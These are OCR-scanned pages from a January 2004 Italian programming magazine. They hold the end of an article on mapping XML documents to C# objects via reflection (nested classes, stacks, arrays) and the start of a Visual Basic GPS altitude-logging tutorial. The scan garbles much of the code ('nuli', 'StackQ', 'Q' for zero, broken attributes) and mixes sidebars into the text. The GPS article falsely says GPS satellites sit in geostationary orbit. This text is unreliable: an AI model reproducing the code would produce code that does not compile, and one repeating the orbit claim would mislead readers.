oggetto annidato. Modificheremo, a tale proposito, 
la struttura usata per gli oggetti semplici, aggiungen- 
do un nuovo tag: <classfleld>, che indicherà che un 
campo non è un tipo base, bensì un'altra classe. 
Un esempio di XML potrebbe essere il seguente: 

<class name="Nazione"> 

<field name="name" value="Italia" type="string"/> 

<classfield name= "continente"> 

<class name="Continente"> 

<field name="nome" value="Europa" type="string"/> 

<field name="popolazione" 

value="320000000" type="integer"/> 

</class> 

</classfield> 

</class> 

La classe Nazione ha due campi: nome e continente. 
Il primo è una stringa, quindi un tipo base. Il secon- 
do è invece definito come <classfleld>, quindi rap- 
presenta un'altra classe, in questo caso Continente, 
che è annidata all'interno di Nazione. Realizzare lo 
schema XML che supporta oggetti complessi signifi- 
ca effettuare qualche piccola modifica a quello visto 
per gli oggetti semplici. In particolare sarà necessa- 



<!— ClassField — > 


<xs:complexType name 


>="ClassField' 


> 




<xs:sequence> 


<xs:element name= 


"class 


' type= 


"Class" 


maxOccurs="unbounded" 


/> 






</xs:sequence> 


<xs:attribute name=' 


name' 


' type= 


"xs 


string" /> 


</xs:complexType> 



Inoltre, bisogna anche modificare la definizione di 
Class in modo che possa supportare sia l'elemento 
sia <field> sia l'elemento <classfield>: 

<!— Class — > 

<xs:complexType name="Class"> 

<xs:sequence> 

<xs:element name="field" type="Field" 

minOccurs="0" maxOccurs="unbounded" /> 

<xs:element name="classfield" type="ClassField" 

minOccurs="0" maxOccurs="unbounded" /> 

</xs:sequence> 

<xs:attribute name="name" type="xs: string" /> 
</xs:complexType> 

Lo schema completo è presente nel materiale alle- 
gato alla rivista, all'interno del CD che accompagna 
la rivista. Il nome del file è mapping2.xsd. 
Per implementare velocemente il MappingFrame- 
work per oggetti complessi, possiamo usare quello 
per gli oggetti semplici come punto di partenza, cer- 
cando di capire cosa sia necessario modificare. La 
differenza sostanziale è rappresentata dal concetto 
di oggetto corrente (il dato membro currentObj). 
Con gli oggetti complessi, non è sufficiente una sin- 
gola variabile per memorizzare l'oggetto corrente- 
mente in fase di processamento, poiché l'oggetto 



► 48/Gennaio 2004 



http://www.ioprogrammo.it 



Lo standard XML nella piattaforma .NET 



T TEORIA & TECNICA 



corrente cambia ogni qualvolta un oggetto annidato 
compare nel decumento. Nel momento in cui un 
oggetto viene creato, l'oggetto corrente diventa nuo- 
vamente l'eventuale oggetto padre. Questo ci sugge- 
risce che è necessario usare uno stack per memoriz- 
zare gli oggetti. L'oggetto corrente sarà quindi quello 
presente al top dello stack. Sebbene all'interno del 
framework .NET sia presente una classe Stack, non 
la useremo in questo contesto poiché effettivamen- 
te abbiamo bisogno di una versione speciale. La 
classe Stack che definiremo avrà i metodi illustrati in 
Tabella 1. La classe MappingFramework2 estende- 
rà EmptyMappingFmmework. Le prime righe di 
codice saranno le seguenti: 

public class MappingFrameworkImpl2 : 

EmptyMappingFramework { 



// Stack per gli oggetti 
private Stack stackObject 



new StackQ; 



// TypeConverter 

private TypeConverter converter 
= new TypeConverterlmplQ; 



object obj = stackObject.top(Q); 
// ... stessa implementazione vista 

// per gli oggetti semplici ... 

} 

Il metodo endClass è il seguente: 

public override object endClass(){ 

object top = stackObject.popQ; 

if (stackObject.emptyQ) 

return top; 

return nuli; 

} 




public void push(object obj) 


Inserisce un oggetto nello stack 


public object pop() 


Preleva l'oggetto al top dello stack 


public object top(int n) 


Restituisce l'oggetto distante -n oggetti dal top 
top(O) Il Restituisce il top 
top(-l) Il Restituisce l'oggetto appena 
prima del top 


public bool emptyO 


Restituisce true se lo stack è vuoto 


, Tabella /.- Metodi della classe Stack. 



Il membro privato stackObject è lo stack dove gli 
oggetti correnti saranno memorizzati. 
Implementiamo i metodi dell'interfaccia Mapping- 
Framework. Il metodo startClass adesso opererà sul- 
l'oggetto che sarà messo al top dello stack, il quale 
può essere un oggetto mot (che non è annidato) 
oppure un oggetto annidato. 

public override void startClass(string className, 

string id) { 

Type typeClass = Type.GetType(className); 

if (typeClass= = null) 

throw new System.Xml.XmlException 

("Class not found: " + className, nuli); 

object obj = Activator.Createlnstance(typeClass); 
stackObject. push(obj); 



} 



Come si può notare, dopo che l'oggetto viene creato, 
il metodo lo inserisce nello stack. Da questo mo- 
mento esso rappresenta l'oggetto corrente. 
Il metodo startField è sostanzialmente identico a 
quello implementato per gli oggetti semplici. 
L'unica differenza è rappresentata dal fatto che 
opera sull'oggetto al top dello stack piuttosto che 
sulla variabile currentObject. 

public override void startField(string name, string vai, 

string type) { 

// Si opererà sull'oggetto al top dello stack 



Esso estrae l'oggetto corrente dal top dello stack e lo 
restituisce solo nel caso che lo stack sia vuoto, in 
altre parole, quando tutti gli oggetti annidati sono 
già stati processati. In definitiva, questo significa che 
il metodo endClass restituirà un valore diverso da 
nuli solo quando l'ultimo oggetto processato è un 
oggetto root. 

Al fine di mappare oggetti complessi, abbiamo biso- 
gno di implementare anche il metodo startClass- 
Field dell'interfaccia MappingFramework. \lHan- 
dler, ogni volta che il parser legge un elemento 
<classField>, invocherà il metodo startClassField. Il 
compito di questo metodo è quello di collegare l'og- 
getto annidato con il campo appropriato dell'ogget- 
to padre. Il metodo ha due parametri: name e id. La 
stringa name rappresenta il nome del campo, la 
stringa id invece non è usata in questo contesto. 
Quando il metodo viene invocato, al top dello stack 
ci sarà l'oggetto (variabile child) che dovrà essere 
assegnato al campo di nome name. L'oggetto imme- 
diatamente precedente a quello che sta al top dello 
stack (variabile parent), è quello che contiene il 
campo di nome name. Quello che il metodo fa è 
assegnare al valore del campo rappresentato da 
name, sull'oggetto parent, un riferimento all'oggetto 
child. Segue l'implementazione (che vi giuro è molto 
più chiara della spiegazione): 

public override void startClassField(string name, 

string id) { 

// Il figlio è l'oggetto corrente. .. 

object child = stackObject. top(O); 



http://www.ioprogrammo.it 



Gennaio 2004/49 ► 



TEORIA & TECNICA T Lo standard XML nella piattaforma .NET 




// ... e il padre quello precedente 

object parent = stackObject.top(-l); 

Type typeClass = parent.GetTypeQ; 

Fieldlnfo fieldlnfo = typeClass.GetField(name); 

if (fieldlnfo == nuli) 

throw new System.Xml.XmlException 

("Field not found: " + parent.GetTypeQ + 
"." + name,null); 

// Connette il figlio col padre 

try { 

fieldlnfo. SetValue(parent,child); 

_} 

catch(Exception) { 

throw new System.Xml.XmlException 

("Error setting field: " + parent.GetTypeQ + 

"." + name, nuli); 

} 



} 



Implementare il MappingFramework non è suffi- 
ciente, bisogna effettuare anche qualche modifica 
all'implementazione dell' Handler. Sempre sul CD, è 
possibile trovare l'implementazione della classe 
ComplexObjectHandler che implementa l'interfac- 
cia Handler. Il modo di operare è molto simile a 
quello visto per SimpleObjectHandler, l'unica diffe- 
renza è rappresentata dalla presenza di un'istruzio- 
ne if addizionale all'interno della classe process- 
Element. Essa controllerà se l'elemento letto è 
<classField> ed in tal caso sarà invocato il metodo 
startClassField. Questo è il relativo frammento di 
codice: 

public void processElement(XmlValidatingReader xtReader) { 



xtReader.MoveToAttribute("name"); 

string className = xtReader.Value; 

// Invoca mapping framework 

// (creazione della classe annidata) 

framework.startClass(className,null); 

// Invoca mapping framework 

// (connette la classe annidata) 

framework.startClassField(fieldl\lame,null); 



//■■ 
} 



Quando il parser legge un elemento <classfìeld>, il 
metodo leggerà l'attributo name e lo assegnerà alla 
string fieldName. In base allo schema XML, l'ele- 
mento successivo deve essere <class>, quindi il me- 
todo leggerà l'attributo name di <class>, che rappre- 
senta il nome della classe, è lo assegnerà alla stringa 
className. Infine, saranno invocati i metodi start- 
Class e startClassField. MappingFrameworkImpl2 e 
ComplexObjectHandler possono essere usate per 
implementare un Handler concreto che legge il 
documento XML è mostra gli oggetti creati, i relativi 
campi e gli eventuali oggetti annidati: 

public class ExampleHandler2: ComplexObjectHandler 

{ 

public ExampleHandler2Q : 

base(new MappingFrameworkImpl2Q) {} 

public override void processObject(object obj) 

_i 

// Show the created object 

Console. WriteLine(obj); 

_} 

} 



if (xtReader. NodeType==XmlNodeType.Element){ 

// Elemento <class> 

if (xtReader. Name.CompareTo("class") ==Q) { 

//■■■ 

// Elemento <field> 

if (xtReader.Name.CompareTo("field") ==Q) { 

//■■■ 

// Elemento <classfield> 

if (xtReader. Name.CompareTo("classfield") ==Q) { 

// Trova l'attributo name 

while(xtReader.NodeType!=XmlNodeType.Element) 

xtReader. ReadQ; 

xtReader. MoveToAttribute("name"); 

string fieldName = xtReader.Value; 

// Trova l'attributo name (classe annidata) 

while(xtReader.NodeType!=XmlNodeType.Element) 
xtReader. ReadQ; 



MAPPARE ARRAY 
DI OGGETTI 

In questo paragrafo vedremo come aggiungere una 
nuova feature al componente in modo che possa 
supportare array di oggetti. Un esempio di docu- 
mento che usa array potrebbe essere il seguente: 

<class name="Nazione"> 

<field name="nome" va I uè = 'Ita Ma" type = "string 7 > 

<array name="cittaImportanti"> 

<item name="citta"> 

<field name="nome" value="Roma" type = "string 7 > 
<field name="regione" value="Lazio" type="string7> 

</item> 

<item name="Citta"> 

<field name="nome" value="Napoli" type = "string 7> 

<field name="regione" value="Campania" 

type = "string 7 > 

</item> 



^ 50/Gennaio 2004 



http://www.ioprogrammo.it 



Lo standard XML nella piattaforma .NET ■ T TEORIA & TECNICA 



</array> 

</class> 

Come si può vedere, ci sono due nuovi elementi: 
<array> e <item>. Il primo indica che il campo è un 
array e, mediante l'attributo name, specifica il nome 
dell' array. Un <array> è una sequenza d'elementi 
<item>. Tale elemento presenta una struttura identi- 
ca al tag <class>. Il codice XSD che definisce un array 
è il seguente: 

<!— Array — > 

<xs:complexType na me = "Array "> 

<xs:sequence> 

<xs:element name="item" 

type="Class" maxOccurs="unbounded" /> 

</xs:sequence> 

<xs:attribute name="name" type="xs:string" /> 
</xs:complexType> 

L'elemento <class> potrà quindi contenere elementi 
<array>: 

<!— Class — > 

<xs:complexType name="Class"> 

<xs:sequence> 

<xs:element name="field" type="Field" 

minOccurs="0" maxOccurs="unbounded" /> 

<xs:element name="classfield" type="ClassField" 

minOccurs="0" maxOccurs="unbounded" /> 

<xs:element name="array" type="Array" 

minOccurs="0" maxOccurs="unbounded" /> 

</xs:sequence> 

<xs:attribute name="name" type="xs:string" /> 
</xs:complexType> 

Lo schema XML completo è presente nel CD allega- 
to alla rivista. Il nome del file è mapping-3.xsd. 
Per supportare gli array dobbiamo implementare 
nuovamente le interfacce MappingFramework e 
Handler. L'implementazione di MappingFramework 
userà due stack: uno per gli oggetti correnti e l'altro 
per l'array corrente. La filosofia che c'è dietro l'utiliz- 
zo dello stack è la stessa vista per gli oggetti com- 
plessi. Le prime righe di MappingFramework3, che 
implementa MappingFramework, sono le seguenti: 

public class MappingFrameworkImpl3 : 

EmptyMappingFramework 

{ 

// Stack per gli oggetti 

private Stack stackObject = new StackQ; 

// Stack per gli array 

private Stack arrayStack = new Stack(); 

L'implementazione dei metodi startClass, startField, 
startFieldClass e endClass sono le stesse di quelle 



usate per gli oggetti complessi. Adesso però è neces- 
sario aggiungere l'implementazione di nuovo meto- 
di quali startArray, startltem e endArray. 
MHandler invocherà il metodo startArray quando il 
parser leggerà un elemento <array>. L'implementa- 
zione del metodo è il seguente: 

public override void startArray (stri ng name) 

{ 

object obj = stackObject.top(O); 

Type typeClass = obj.GetTypeQ; 

Fieldlnfo fieldlnfo = typeClass.GetField(name); 

if (fieldlnfo == nuli) 

throw new System.Xml.XmlException 

("Field not found: " + obj.GetType() + 
"." + name,null); 

try 

_i 

// Crea un nuovo ArrayList 

Array List array = new Array ListQ; 

// Collega l'array con l'oggetto corrente 

fieldlnfo. SetValue(obj, array); 

// Push dell'array nello stack 

stackArray.push(array); 

_} 

catch(Exception) 

_i 

throw new System.Xml.XmlException 

("Error setting field: " + obj.GetType() + 

"." + name,null); 

} 

Il parametro name rappresenta il nome del campo 
che contiene un riferimento all' array. Questo campo 
è di tipo ArrayList, che sarà la struttura usata per 
memorizzare gli elementi di un array. Il metodo crea 
un nuovo ArrayList vuoto e lo assegna al campo di 
nome name dell'oggetto corrente, che si trova al top 
dello stackObject. Inoltre, Y ArrayList stesso sarà inse- 
rito nello stackArray e diventerà l'array processato 
correntemente. 

L'Handler invoca il metodo startltem quando il par- 
ser legge un elemento <item>. Il metodo crea l'og- 
getto, lo inserisce nello stackObject e in fine lo acco- 
da all' array che al momento è al top dello stackArray. 
Il codice che fa questo è il seguente: 

public override void startltem(string className) 

{ 

Type typeClass = Type.GetType(className); 

if (typeClass= = null) 

throw new System.Xml.XmlException 

("Class not found: " + className, nuli); 

object obj = Activator.Createlnstance(typeClass); 




http://www.ioprogrammo.it 



Gennaio 2004/51 ► 



TEORIA & TECNICA T Lo standard XML nella piattaforma .NET 




stackObject.push(obj); 

Array List array = (ArrayList) stackArray.top(Q); 
array.Add(obj); 



xtReader.MoveToAttribute("name"); 
framework.startltem(xtReader.Value); 



BIBLIOGRAFIA 



• MAPPING XML TO C# 

OBJECTS USING 

REFLECTION 

G. Naccarato 

C#Today, (Wrox Press) 

Ottobre 2002 

• PROFESSIONAL C# 

2ND EDITION 

5. Robinson at ali 

(Wrox Press) 

2002 

• .NET SERIALIZATION 

5. Gopikrishna, 

K. Sanghavi 

(C#Today) 

Luglio 2001 

http://www.csha rptoday.c 

om/content.asp?id=1 532 

• REFLECTION IN .NET 

Hari Shankar 

(C# Corner) 

Febbraio 2001 

http://www.c-sharpcorner 

.com/1/Reflection in net. 

asp 

• C# PROGRAMMING: 

ATTRIBUTES AND 

REFLECTION 

Jesse Liberty 

(XML.com) 

August 2001 

http://www.xml.com/pub/ 

r/1207 



} 



Il metodo endArray sarà invocato dall'Handler 
quando il parser legge un elemento </array>. 
Segue l'implemetazione: 

public override void endArrayQ 

{ 

stackArray.popQ; 

} 

Come si può notare, esso rimuove dal top dell' array- 
Stack l'ultimo ArrayList processato. 
ArrayHandler è il nome che daremo all'implementa- 
zione dell'Handler, la quale opererà su oggetti sem- 
plici, complessi ed array. La versione della classe 
mostrata di seguito evidenzierà solamente le diffe- 
renze rispetto a ComplexObjectHandler. 

public abstract class ArrayHandler : Handler 

{ 



// 



public void processElement(XmlValidatingReader 

xtReader) 

{ 

if (xtReader. NodeType==XmlNodeType.Element){ 

// Elemento <class> 

if (xtReader.Name.CompareTo("class") ==Q) { 

//■■■ 

// Elemento <field> 

if (xtReader. Name.CompareTo("field") ==Q) { 

//■■■ 

// Elemento <classfield> 

if (xtReader. Name.CompareTo("classfield") ==Q) { 
//■■■ 

// Elemento <array> 

if (xtReader. Name.CompareTo("array") ==Q) { 

while(xtReader.NodeType!=XmlNodeType.Element) 

xtReader. ReadQ; 

xtReader. MoveToAttribute("name"); 

string arrayName = xtReader.Value; 

framework.startArray(arrayName); 

} 



} 



if (xtReader. NodeType == XmlNodeType.EndElement) { 

// Elemento </classes> o </item> 

if (xtReader. Name.CompareTo("class") ==Q 

|| xtReader.Name.CompareTo("item") ==Q) { 

object obj = framework.endClassQ; 

if (obj! = null) processObject(obj); 

_J 

// Elemento </array> 

if (xtReader. Name.CompareTo("array") ==Q) { 

framework.endArrayQ; 

_J 

} 



// Elemento <item> 

if (xtReader. Name.CompareTo("item") = 



=0){ 



> 



Quando un elemento <array> viene letto, il metodo 
processElement recupera il nome del campo pre- 
sente all'interno dell' array [nameArray] e richiama 
il metodo startArray. Quando è invece un elemen- 
to <item> ad essere letto, il metodo recupera il 
nome della classe ed invoca startltem. L'elemento 
</item> viene gestito da processElement al pari del- 
l'elemento </class>. Alla fine, quando il parser legge 
</array>, il metodo invocato sarà endArray. 
MappingFrameworkImpl3 and ArrayHandler pos- 
sono essere utilizzate per implementare un 
Handler concreto che legge il documento XML e 
crea oggetti, relativi campi, eventuali oggetti anni- 
dati ed array. Di seguito è riportato il codice di 
ExampleHandler3: 

public class ExampleHandler3: ArrayHandler { 

public ExampleHandler3() : 

base(new MappingFrameworkImpl3Q) { 

_} 

public override void processObject(object obj){ 

Console. WriteLine(obj); 

_} 

> 



CONCLUSIONI 

Il prossimo mese concluderemo il discorso XML e 
C#, introducendo un meccanismo per supportare 
id per gli oggetti in modo da poterli riferire all'in- 
terno dei documenti XML stessi. 
Inoltre, vedremo il componente all'opera in un'ap- 
plicazione reale per la gestione delle giacenze di 
magazzino. 

Giuseppe Naccarato 



► 52/Gennaio 2004 



http://www.ioprogrammo.it 



Global Positioning System ■ T TEORIA & TECNICA 



Interfacciare un satellite GPS con il PC 

Un'applicazione 
GPS in Visual Basic 

In questo articolo realizzeremo un software che, interfacciandosi 
con un ricevitore GPS, fornisce un grafico delle altitudini rilevate in 
un ipotetico percorso; prepariamoci ad una scampagnata muniti di 
PC portatile e GPS. 



Il GPS (Global Positioning System) è un sistema 
per la navigazione strumentale costituito da una 
serie di satelliti che ruotano in orbita geostazio- 
naria. Questo significa che la velocità con cui il satel- 
lite percorre la sua orbita intorno alla Terra è la stes- 
sa del moto di rotazione terrestre. La posizione del 
satellite rimane così fissa rispetto al suolo, garanten- 
do un riferimento costante. I satelliti GPS sono equi- 
paggiati con orologi atomici estremamente precisi 
che misurano il tempo e immettono l'informazione 
oraria nel codice del segnale trasmesso; il ricevitore 
che percepisce il segnale può determinare in questo 
modo quando il messaggio è stato trasmesso e, valu- 
tando la differenza tra il tempo di ricezione e quello 
di trasmissione, calcolare la posizione in termini di 
latitudine, longitudine e altitudine. Il ricevitore GPS 
misura il tempo necessario per rilevare il segnale 
inviato da tre diversi satelliti {A B e C- Fig.l) e, uti- 
lizzando il comune metodo della triangolazione, su 
cui si basa l'intero sistema GPS, determina le pro- 
prie coordinate di latitudine e longitudine; per risa- 
lire all'altitudine è necessario il segnale di un quar- 
to satellite, in Fig.l indicato con D. 



MISURA 

DELLA DISTANZA 

DA UN SATELLITE 

Un dato fondamentale da rilevare nella sincronizza- 
zione tra satellite e GPS è dato dalla misura del 
tempo impiegato dal segnale satellitare per raggiun- 
gere il ricevitore GPS. Essendo a conoscenza di tale 
misura temporale e della velocità con cui viaggia il 
segnale, si è in grado di determinare la distanza tra il 
satellite ed il ricevitore. La misura temporale pre- 
suppone che l'intero sistema sia in grado di "sapere" 
esattamente quando il segnale è stato trasmesso, e 



B 


B C 
A 


te -1 


*Ém 



Fig. 1: Schematizzazione che mostra il posizionamen- 
to dei satelliti nell'orbita geostazionaria terrestre. 

quando è arrivato, tale misura può essere effettuata 
solo se c'è una sincronizzazione degli orologi del 
satellite e del ricevitore, naturalmente la misura del 
tempo in questi apparecchi è estremamente precisa 
ed affidabile. Il sistema GPS è stato realizzato dal 
Dipartimento della Difesa degli Stati Uniti nel 1973, 
a partire dagli anni Ottanta questo è stato adottato 
da molte tipologie di utenti: è ormai il principale 
strumento di navigazione aerea e marittima ed è dif- 
fusissimo anche come sistema di navigazione a bor- 




Fig. 2: Il ricevitore GPS utilizzato per le nostre prove 
è un Haicom 203E, dotato di interfaccia USB, riesce 
a gestire fino a 12 segnali in ricezione e supporta sia 
protocollo in uscita Nmea0183 V 2.2 che comandi 
GGA,GLL,VTGRMC,GSA,GSV. Naturalmente sul merca- 
to sono disponibili altri modelli, persino dotati di fun- 
zionalità bluetooth. 



ygjylmgg 



Ci CD □ WEB 

GpsNavigator.zip 



r *"""" , """ 7r """"" 



GLOSSARIO 




NMEA 0183 

Si tratta di uno 
standard d'interfaccia- 
mento tra apparecchia- 
ture digitali. Il sistema 
ha origini e finalità 
prevalentemente nau- 
tiche e viene utilizzato 
anche, per esempio, 
per sistemi di autopi- 
lota di imbarcazioni. 
I formati di dati del 
sistema NMEA sono 
molto numerosi, e solo 
una parte molto limi- 
tata ha rilevanza 
nell'ambito del GPS, in 
cui il sistema NMEA 
viene prevalentemente 
impiegato per trasmet- 
tere dati da un ricevi- 
tore GPS verso un com- 
puter. 



http://www.ioprogrammo.it 



Gennaio 2004/53 ► 



TEORIA & TECNICA T ■ Global Positioning System 




IMPOSTAZIONI 

Affinché l'intera 

applicazione funzioni a 

dovere, è necessario 

impostare, inizialmente, 

alcuni dati 

fondamentali: 



• Datum: il sistema di 

riferimento usato per 

l'identificazione delle 

coordinate, in Italia 

viene usato il ROME_40, 

così come evidenziato in 

Tab. 1 

• Serial port: è la porta a 

cui è collegato il GPS 

(nel nostro caso la 

COM4, Fig. 5). 

• Baud rate: la velocità 

di trasmissione dati 

della porta, espressa in 

bit al secondo. 

• Acquire time: 

l'intervallo di tempo 

stabilito per 

l'acquisizione dati in 

modalità automatica. 



do delle automobili. Sul mercato oggi sono disponi- 
bili dei ricevitori GPS per Notebook in grado sia di 
supportare software di navigazione cartografica 
quali Autoroute, Navipc, Route 66 etc. che di inter- 
facciarsi (attraverso ActiveX) con un proprio softwa- 
re; ed è proprio su quest'ultimo punto su cui incen- 
treremo questo articolo, ovvero mostreremo come 
realizzare un applicativo in grado di memorizzare i 
nostri spostamenti (pensiamo ad un portatile ed ad 
un GPS posizionati su un'automobile) attraverso i 
dati forniti da un ricevitore GPS e come questo sarà 
in grado di elaborarli fornendoci grafici relativi alle 
quote misurate durante l'intero percorso. 



ACQUISIZIONE 
DATI DAL GPS 

Il ricevitore GPS è stato interfacciato all'applicazio- 
ne attraverso il controllo GPS ActiveX Version 1.3 
realizzato dalla Franson.biz di cui trovate una trial 
nel CD-ROM allegato alla rivista o sul sito web 
www.ioprogrammo.it all'interno della sezione 
download. La versione utilizzata è limitata ed utiliz- 
zabile per 14 giorni, è possibile acquistare, visitando 
il sito web del produttore, una versione completa o 
attendere qualche numero di ioProgrammo in cui 
sarà mostrato come realizzare un parser dei dati 
provenienti dal ricevitore satellitare. 



objParser.PortEnabled = True 




pplications 

:"•.•■.-!.-• . . : : . . . ' . : 
: ..-,-. ■ :'j '... 

'jtomation 
<s Microsoft A ctivi s 2, 7 Library 

^ ai¥HlTÌWli'ITII1/!ll'MBBBÉMI 

IAS Helper COI 1 .0 Type Library 

IAS RADIUS Protocol 1.0 Type Library 
Acrobat Distillar 

...... • ; .. 

V:tive DS I! E fension Dll 
Active DS US Namespace Provider 
Active DS Type Library 



♦1 



I 



li 



■".... 



' * " ' ■ • '. !••'•'• .' : ' . 



Fig. 3: Per registrare il componente GPSTooisXP 
all'interno del registro di sistema, è necessario aprire 
il prompt dei comandi e digitare "regsvr32 
GpsToolsXP.dll". 

L'applicazione viene attivata attraverso il Com- 
mandButon bStart in cui viene prima assegnato un 
riferimento all'oggetto NmeaParser del componente 
GpsToolsXp: 

Set objParser = New NmeaParser 

e, successivamente, inizializzato: 

objParser.GpsDatum = Frmlmpostazioni.ddDatum.Listlndex 

objParser.ComPort = Frmlmpostazioni.ddPort.Listlndex 

objParser. BaudRate = FrmImpostazioni.ddBaudRate.l_ist( 

Frmlmpostazioni.ddBaudRate.Listlndex) 




Impostazioni - 
Datunn 

Grid 

Serial port 

Baud rate 

Tempo di 
aggiornarnent 






|ROME40 


"31 






jltalian GridZc ▼! 






|C0M4: 


"31 






|9600 


"31 






|GOSecj 


T l ^Pi-nnrli 




Esci 




Salva 





Fig. 4: La prima operazione da compiere è il carica- 
mento delle impostazioni del programma, bisogna 
conoscere quindi alcuni parametri: porta di comuni- 
cazione (COMI, COM2, ecc), il baud rate della porta, 
il tempo di aggiornamento dati e alcuni parametri rel- 
ativi alla posizione geografica. 

A questo punto il programma è pronto a ricevere i 
dati. Attraverso la routine OnComStatus sarà possi- 
bile controllare sia lo stato della porta a cui è colle- 
gato il GPS, che la velocità di trasmissione dati: 

Private Sub objParser_OnComStatus(varComStatus 

As Variant) 

Dim objComStatus As ComStatus 

Set objComStatus = varComStatus 

If objComStatus.ValidNmea Then 

IComStatus.Caption = "Il GPS si è connesso 
alla porta: COM" & objComStatus. ComPort & ", 

" & objComStatus.BaudRate & " Baud" 

StatusGPS = True 

Else 

IComStatus.Caption = "Connessione..." 

StatusGPS = False 

End If 

End Sub 

Stabilita la connessione tra i satelliti ed il ricevitore, 
ogni volta che il sistema "avverte" una variazione dei 
dati, invoca l'evento OnGpsFix, ed è proprio questa 
routine che si occupa di visualizzare, all'interno dei 
TextBox relativi, i valori di latitudine, longitudine ed 
altitudine. Sia i valori della latitudine che quelli della 
longitudine sono espressi in radianti, ragion per cui, 
se si desidera una rappresentazione in gradi, è ne- 
cessario moltiplicare il valore espresso in radianti 
per 180, e dividere per la costante n (Pi greco pari a 
3.14159265358979), l'altitudine viene invece espres- 
sa in metri, e rappresenta la misura di un punto della 
superficie terrestre rispetto al livello del mare. 

Private Sub objParser_OnGpsFix(varFix As Variant) 

Dim objFix As GpsFix 

Dim objPos As Position 

Set objFix = varFix 

Set objPos = objFix. Position 



». 54/Gennaio 2004 



http://www.ioprogrammo.it 



Global Positioning System ■ T TEORIA & TECNICA 



txtLatitude = 


objPos.LatitudeRads * 


180 / PI 


txtLongitude 


= objPos.LongitudeRad 


s * 180 / PI 


objPos.Grid = 


= Frmlmpostazioni.ddGrid.Listlndex 


If objFix.FixType = 3 Then 


txtAltSea 


= objPos.Altitude(O) 




End If 


End Sub 



Se il nostro sistema di rilevazione è in movimento, 
siamo altresì in grado di identificare anche la nostra 
velocità, valore che viene ricavato tramite l'evento 
OnMovement (sempre dell'oggetto objParsef). Della 
velocità è possibile scegliere anche l'unità di misura 
tra quelle messe a disposizione dal componente 
(metri al secondo, chilometri all'ora, miglia all'ora): 

Private Sub objParser_OnMovement(varMovement 

As Variant) 

Dim objMove As Movement 

Set objMove = varMovement 

txtSpeed = objMove.Speed(GPS_KM_PER_HOUR) 
End Sub 



LE MODALITÀ 
D'ACQUISIZIONE DATI 

L'applicativo in questione acquisisce i dati in due 
distinti modi: manualmente ed automaticamente. 
La scelta della modalità d'acquisizione dei dati 
avviene attraverso due pulsanti di opzione presenti 
nel Form principale (FrmGps). L'acquisizione ma- 
nuale attende un nostro input per acquisire i dati dal 
ricevitore satellitare, più precisamente attende un 
click sul CommandButton "Acquisisci dati" 



Private Sub CmdAcquire. 


_CNck() 






If StatusGPS = False 
txtLongitude = 


Or (txtLatitude = "0" 
"0" And txtAltSea = 


And 
"0") 


Then 


MsgBox "Impossibile acquisire i dati dal GPS" 


Exit Sub 


End If 


SalvaDati 


End Sub 



SalvaDati invece memorizza, all'interno del databa- 
se, i dati acquisiti: 

Sub SalvaDatiQ 

Set Cn = New ADODB.Connection 

Set Rs = New ADODB.Recordset 

Cn.Open strConnect 

Rs.CursorType = adllseClient 

Rs.LockType = adLockPessimistic 

Rs.Source = "SELECT * FROM Dati;" 

Rs.ActiveConnection = Cn 

Rs.Open 

Rs.AddNew 



Rs 


Fields("Speed") = 


txtSpeed. Text 


Rs 


Fields("Latitude") = 


= txtLatitude. Text 


Rs 


Fields("Longitude") 


= txtLongitude. Text 


Rs 


Fields("MetersOverMeanSeaLevel") = 

txtAltSea. Text 


Rs. Update 


Rs.Close 


Cn.Close 


Set Rs = 


Nothing 




Set Cn = 


Nothing 




End Sub 




L'acquisizione automatica fa sì che il tracciamento 
dei dati avvenga ad intervallo regolari di tempo, ov- 
viamente personalizzabile in base alle nostre esi- 
genze. Per la gestione della modalità d'acquisizione 
automatica, è stato utilizzato un controllo Timer. La 
frequenza dell'intervallo è registrata nella proprietà 
Interval del controllo e specificata in millisecondi. 



r Valore 


Costante VB 


Descrizione 


1 


WGS_84 


Usato dal sistema globale di GPS. La maggior parte dei 
dispositivi GPS ha questo riferimento. 


2 


ETRS_89 


Riferimento usato da molti paesi europei. Molto simile 
alWGS 84. 


3 


OSGB_36 


Usato in Gran Bretagna. 


4 


CH_1903_PLUS 


Usato in Svizzera. 


5 


RT_90 


Usato in Svezia. 


6 


IRELAND_65 


Usato in Irlanda. 


7 


FINLAND_HAYFORD 


Usato in Finlandia. 


8 


LUREF 


Usato in Lussemburgo. 


9 


WGS_72 


Riferimento geodetico globale. 


10 


AGD_84 


Riferimento geodetico Australiano. 


11 


GDA_94 


Riferimento geodetico dell'Australia. Quasi identico a 
WGS84. 


12 


MGI 


Usato in Austria. Aka "Hermannskugel". 


13 


NZGD_49 


Riferimento geodetico 1949 Della Nuova Zelanda 


14 


NZGD_2000 


Riferimento geodetico 2000 Della Nuova Zelanda. Quasi 
identico aWGS84 


15 


NTF 


Usato in Francia. 


16 


BD_72 


Usato in Belgio 1972. 


17 


ED_50 


Riferimento Europeo 1950. Usato in Francia, in 
Germania, in Danimarca, etc. 


18 


DHDN_RAUENBERG 


Usato in Germania. Conosciuto anche come Potsdam. 


19 


NAD_83 


Usato in America del Nord. 


20 


NAD_27_US_ALASKA 


Usato nell'Alaska 


21 


NAD_27_US_EAST 


Usato negli Stati Uniti. 


22 


NAD_27_US_CONUS 


Usato negli Stati Uniti. 


23 


NAD_27_US_WEST 


Usato negli Stati Uniti. 


24 


AMERSFOORT 


Usato nei Paesi Bassi. 


25 


ROME_40 


Usato in Italia. 


^26 


NGO_48 


Usato in Norvegia. 


TABELLA!: Sistemi di riferimento utilizzati per la rilevazione delle coordinate nei diversi paesi del globo. 



Ogni qualvolta trascorre l'intervallo di tempo prede- 
finito viene automaticamente invocata la procedu- 
ra SalvaDati: 

Private Sub Timerl_Timer() 

SalvaDati 

End Sub 



http://www.ioprogrammo.it 



Gennaio 2004/55 ► 



TEORIA & TECNICA T ■ Global Positioning System 





Il sito www.mobit.com/ 
ntNMEA.html mostra un 
valido documento 
sullo standard NMEA 
0183, il sistema 
utilizzato anche per il 
"dialogo" tra il 
ricevitore GPS ed il 
satellite 
geostazionario. 



m m cf 3 




ConnectionString: Provider=Microsoft.Jet.OLEDB.4.0; 

Data Source=C:\Gps Navigator\db.mdb; Persist 
Security Info=False, 



Fig. 5: La finestra che consente di impostare alcuni 
dati fondamentali per il corretto funzionamento del- 
l'applicazione in oggetto. 



Come per l'evento CmdAcquire_Click(), anche in 
questo caso i dati acquisiti vengono memorizzati 
nella database di supporto (Tab. 1). 
Il commando CmdSave memorizza i parametri, de- 
scritti in fase d'impostazione del sistema, all'interno 
